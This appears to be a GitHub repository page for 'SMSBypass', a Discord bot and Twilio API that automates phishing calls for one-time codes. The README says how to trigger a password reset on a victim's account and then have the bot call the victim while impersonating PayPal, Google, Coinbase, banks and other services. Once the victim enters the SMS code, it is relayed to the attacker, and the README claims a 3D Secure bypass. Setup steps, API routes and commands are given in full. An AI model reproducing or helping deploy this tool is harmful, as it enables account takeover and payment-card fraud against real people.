بدون توضیح

Trewis [work] Scotch aeaee1b1b5 Add files via upload 3 سال پیش
api aeaee1b1b5 Add files via upload 3 سال پیش
bots aeaee1b1b5 Add files via upload 3 سال پیش
README.md edcd3fb308 Update README.md 3 سال پیش

README.md

SMSBypass

Paypal, Instagram, Snapchat, Google, 3D Secure, Coinbase...

It's really simple. Imagine that your friend got a Snapchat account, you try to reset his password using the sms system :

  • he's gonna receive the sms confirmation code.

Then, you use the bot (!call 33612345678 snapchat). The bot is gonna call him, using the snapchat service, ask for the code received. If he send the code using the numpad, then your gonna receive the code and be able to reset the password. It's like an automatic system for SE.

API

The API requests availables & working :

  • /call with POST DATA :

    • to: theClientPhoneNumber
    • user: theUser
    • service: theUsedService
    • name: theNameOfTheUser
    • password: yourApiPassword
  • /get with POST DATA :

    • callSid: theCallSid
    • password: yourApiPassword
  • /stream/service with GET DATA :

    • service: theServiceNameYouWannaUse
  • /voice/password with POST DATA :

    • password: yourApiPassword
    • callSid: theCallSid
    • Digits: theDigitsEnteredByTheUSer (not required)

Bot Commands

All the Admin commands :

  • !user add @user : allow someone to use the bot & the calls
  • !user delete @user : remove someone or an admin from the bot
  • !user info @user : get infos from a user
  • !user setadmin @user : set a user to admin

All the Users commands :

  • !secret yoursecretpassword @user : set a user to admin without been admin
  • !call phonenumber service or for example !call 33612345678 paypal : call the phonenumber using the bot and get the sms code

The differents call services supported :

  • Paypal
  • Google
  • Snapchat
  • Instagram
  • Facebook
  • Whatsapp
  • Twitter
  • Amazon
  • Coinbase-no free (key)
  • Banking-no free (key)
  • Cdiscount
  • Default : work for all the systems
  • Banque : bypass 3D Secure

How it works ?

  1. When you do a !call 3312345678 paypal, the Discord Bot sends a post request to our private api, who is gonna save the call into our sqlite DB and send the call to our twilio API.
  2. The Twilio API use our /status route to know what to do in the call, the status route returns TwiML code to Twilio.
  3. The /status route returns the self hosted service song using the /stream/service route.
  4. If the user enter the digit code using the numpad, the song stops, it thanks him for the code, and end the call.
  5. The /status route send the code to your discord channel using a webhook.

Prerequisite

  • Node.js & NPM from the last version.
  • git installed (not necessarily)
  • Open ports
  • A twilio account
  • A discord account (if you use the bot)

Install the API

Download the API Files from the github

git clone https://github.com/trewisscotch/SMSBypass.git Go to our API folder cd /SMSBypass/api/ Install the dependencies npm i Start the api, wait 15s, and then, stop it npm start Modify the config.js file

  • Add your twilio AccountSid & AuthToken
  • Your twilio caller id
  • Your actual IP to run the web server

Open the port 1337 To check if everything works fine, I did a full test system. If your Twilio account is not upgrade, before the test, go to the /test/call.js file and modify the phone number line 122 with your phone numer. npm test image Your private API now works ! If your api is not working, upgrade your Twilio account and try again. Be carefull, you also need to change the TTS Language, go to https://www.twilio.com/console/voice/twiml/text-to-speech and change the TTS Language from English to French with the Lea voice.

Install the Discord Bot

Take your API Password from you config.js file in your api folder we are gonna use it cd ../bots/discord Modify the config.js file

  • Add API Url & Api Password
  • Your discord bot token
  • Your actual IP to run the web server
  • Change the secret password

Create two discord roles, one "Admin" with Administrator permissions, and the other one "Bot User" with any permission. Add the bot to the discord server Initialize the discord bot npm i You can now start the discord bot node bot.js You can get all the informations neeeded on discord doing !help image